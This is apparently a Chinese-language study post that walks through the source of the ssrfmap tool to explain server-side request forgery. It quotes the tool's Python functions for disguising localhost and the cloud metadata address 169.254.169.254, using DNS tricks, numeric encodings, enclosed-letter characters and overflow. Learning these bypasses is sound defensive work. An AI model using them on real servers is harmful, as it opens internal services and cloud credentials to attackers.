从ssrfmap源码中学习ssrf (一)

什么是SSRF

SSRF(Server-Side Request Forgery)是由攻击者利用服务端的身份发起请求的一个漏洞

SSRF发生的原因

服务器端提供了从其他服务器获取数据的功能,且没有对目标地址进行良好的过滤

SSRF危害

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

ssrfmap源码解读

ssrfmap 提供了一个框架,主要功能是由 module 实现的,其主要目录结构如下:

1
2
3
4
5
6
7
8
9
├── core # 项目核心代码
│   ├── handler.py
│   ├── requester.py
│   ├── ssrf.py
│   └── utils.py
├── data
├── examples # 实例文件
├── handlers # 监听器
├── modules # 模块,提供主要功能

主要过程

ssrfmap.py

ssrfmap.py 中解析各种参数,设置日志相关的配置,随后通过 SSRF 中的 __init__ 函数启动

1
2
# Copyright (c) 2018 Swissky
ssrf = SSRF(args)

ssrf.py

ssrf.py 中首先将各个模块加载到内存中,通过 burp 请求和提供的参数初始化请求 Requester

1
2
# Copyright (c) 2018 Swissky
self.requester = Requester(args.reqfile, args.useragent, args.ssl, proxies)

随后依次调用指定模块中的 exploit 函数

1
2
3
4
5
6
# Copyright (c) 2018 Swissky
for modname in args.modules.split(','):
for module in self.modules:
if module.name == modname:
module.exploit(self.requester, args)
break

requester.py

burp 请求包中读取的数据和提供的参数,填充在 Requester

1
2
3
4
5
6
7
# Copyright (c) 2018 Swissky
protocol = "http"
host = ""
method = ""
action = ""
headers = {}
data = {}

其中的 do_request 函数通过提供的 param 在请求包中寻找对应的位置,并且将其值替换为构造的 value ,最后将构造的请求包返回

utils.py

提供了一些方便的工具函数,用于 http , https , gopher 等协议的封装,返回 url 字符串

其中关键函数 gen_ip_list(ip, level) 根据 level 产生ip列表, 不同的 level 提供了不同的绕过方法(指向内网地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Copyright (c) 2018 Swissky
def gen_ip_list(ip, level):
ips = set()

if level == 1:
ips.add(ip)

if level == 2:
ip_default_local(ips, ip)
ip_default_shortcurt(ips, ip)

if level == 3:
ip_dns_redirect(ips, ip)
ip_default_cidr(ips, ip)

if level == 4:
ip_decimal_notation(ips, ip)
ip_enclosed_alphanumeric(ips, ip)

if level == 5:
ip_dotted_decimal_with_overflow(ips, ip)
ip_dotless_decimal(ips, ip)
ip_dotless_decimal_with_overflow(ips, ip)
ip_dotted_hexadecimal(ips, ip)
ip_dotted_octal(ips, ip)

for ip in ips:
yield ip

接下来研究不同的绕过方法

  • ip_default_local(ips, ip)

    1
    2
    3
    4
    5
    # Copyright (c) 2018 Swissky
    def ip_default_local(ips, ip):
    ips.add("127.0.0.1")
    ips.add("0.0.0.0")
    ips.add("localhost")

    常见的本地地址

  • ip_default_shortcurt(ips, ip)

1
2
3
4
5
6
7
# Copyright (c) 2018 Swissky
def ip_default_shortcurt(ips, ip):
ips.add("[::]")
ips.add("0000::1")
ips.add("0")
ips.add("127.1")
ips.add("127.0.1")
常见本地地址的缩写
  • ip_dns_redirect(ips, ip)

利用dns记录将域名指向指定ip,这里分为 127.0.0.1169.254.169.254 两种 IP.前者是本地地址,而后者是一个特殊的IP地址,它通常与云服务提供商的元数据服务相关联

1
2
3
4
5
6
7
8
9
10
11
# Copyright (c) 2018 Swissky
def ip_dns_redirect(ips, ip):
if ip == "127.0.0.1":
ips.add("localtest.me")
ips.add("customer1.app.localhost.my.company.127.0.0.1.nip.io")
ips.add("localtest$google.me") # localtest.me , $google 的值为空

if ip == "169.254.169.254":
ips.add("metadata.nicob.net")
ips.add("169.254.169.254.xip.io")
ips.add("1ynrnhl.xip.io")

localtest.me 以及其子域名会将dns记录指向本地地址,具体参考 https://readme.localtest.me/

1
2
3
4
5
6
7
8
$ nslookup 123.localtest.me
服务器: public1.114dns.com
Address: 114.114.114.114

非权威应答:
名称: 123.localtest.me
Addresses: ::1
127.0.0.1

nip.io 能将dns记录指向任何IP,它使用一种称为 “泛解析”(wildcard DNS record)的方法,即利用通配符 *(星号)来做子域名以实现所有的子域名均指向同一IP地址.

nip.io 支持有名字和没名字的子域名,比如 192.168.1.250.nip.io app.192.168.1.250.nip.io 都会将记录指向 192.168.1.250 .

同时还支持破折号 - 作为子域名分割符 : magic-127-0-0-1.nip.io

也支持子域名的16进制编码: magic-7f000001.nip.io

具体参考 https://nip.io/

1
2
3
4
5
6
7
$ nslookup test-123-123-123-123.nip.io
服务器: public1.114dns.com
Address: 114.114.114.114

非权威应答:
名称: test-123-123-123-123.nip.io
Address: 123.123.123.123
  • ip_default_cidr(ips, ip)

本地回环地址不只是 127.0.0.1 .它指的是127开头的地址 127.0.0.1-127.255.255.254

1
2
3
4
5
6
# Copyright (c) 2018 Swissky
def ip_default_cidr(ips, ip):
ips.add("127.0.0.0")
ips.add("127.0.1.3")
ips.add("127.42.42.42")
ips.add("127.127.127.127")

image-20241219101230315

  • ip_decimal_notation(ips, ip)

    将一个IPv4地址转换为十进制表示形式

    1
    2
    3
    4
    5
    6
    7
    # Copyright (c) 2018 Swissky
    def ip_decimal_notation(ips, ip):
    try:
    packedip = socket.inet_aton(ip)
    ips.add(struct.unpack("!l", packedip)[0])
    except:
    pass

    socket.inet_aton(ip)

    • 用于将点分十进制的IPv4地址转换为一个32位打包的二进制格式

    struct.unpack(“!l”, packedip)

    • struct 模块用于处理打包的二进制数据。"!l" 是一个格式字符串,其中 "!" 表示网络字节顺序(大端序),"l" 表示长整型(4字节)。

      这个函数将打包的二进制数据转换为一个长整型的十进制数。例如,"192.168.1.1" 的二进制数据会被转换为一个十进制整数。

  • ip_enclosed_alphanumeric(ips, ip)

    利用数字字母的圈环符号绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # Copyright (c) 2018 Swissky
    def ip_enclosed_alphanumeric(ips, ip):
    intab = "1234567890abcdefghijklmnopqrstuvwxyz"

    if ip == "127.0.0.1":
    ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ")

    outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ"
    trantab = ip.maketrans(intab, outtab)
    ips.add( ip.translate(trantab) )

    outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ"
    trantab = ip.maketrans(intab, outtab)
    ips.add( ip.translate(trantab) )

    太神奇了,这也能ping通!

    image-20241219102759058

    image-20241219102936594

  • ip_dotted_decimal_with_overflow(ips, ip)

    这个可能和服务器处理逻辑有关,比如会将 ip 模 256

    1
    2
    3
    4
    5
    6
    # Copyright (c) 2018 Swissky
    def ip_dotted_decimal_with_overflow(ips, ip):
    try:
    ips.add(".".join([str(int(part) + 256) for part in ip.split(".")]))
    except:
    pass
  • ip_dotless_decimal(ips, ip)

将ip用一个双字节的数字表示.具体变换为:将每部分转化为二进制,然后拼接,最后将这个二进制字符串转化为十进制

1
2
3
4
5
6
7
8
9
10
# Copyright (c) 2018 Swissky
def ip_dotless_decimal(ips, ip):
def octet_to_decimal_part(ip_part, octet):
return int(ip_part) * (256 ** octet)

try:
parts = [part for part in ip.split(".")]
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
except:
pass

image-20241219105903353

  • ip_dotless_decimal_with_overflow(ips, ip)

与 **ip_dotless_decimal(ips, ip)**没有什么区别

1
2
3
4
5
6
7
8
9
10
11
# Copyright (c) 2018 Swissky
def ip_dotless_decimal_with_overflow(ips, ip):

def octet_to_decimal_part(ip_part, octet):
return int(ip_part) * (256 ** octet)

try:
parts = [part for part in ip.split(".")]
ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0)))
except:
pass
  • ip_dotted_hexadecimal(ips, ip)

    将每部分以16进制表示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # Copyright (c) 2018 Swissky
    def ip_dotted_hexadecimal(ips, ip):
    def octet_to_hex_part(number):
    return str(hex(int(number)))

    try:
    ips.add(".".join([octet_to_hex_part(part) for part in ip.split(".")]))
    except:
    pass
  • ip_dotted_octal(ips, ip)

将每部分以8进制表示

1
2
3
4
5
6
7
8
9
# Copyright (c) 2018 Swissky
def ip_dotted_octal(ips, ip):
def octet_to_oct_part(number):
return str(oct(int(number))).replace("o","")

try:
ips.add(".".join([octet_to_oct_part(part) for part in ip.split(".")]))
except:
pass

小结

ssrfmap 的 utils.py 中绕过方法有以下几种:

  1. DNS解析 : 利用能解析到本地地址的域名,如 : *.nip.io , localtest.me 等及其支持的变种
  2. 编码:
    • 双字节整数
    • 十六进制
    • 八进制
    • 圈环符号代替
  3. 地址溢出(需要结合服务器具体的处理措施) : 将ip地址每一部分都加上256
  4. 本地回环cidr块 : 127.0.0.1-127.255.255.254 为本地回环地址
  5. 本地回环地址的缩写 : [::] , 127.0.1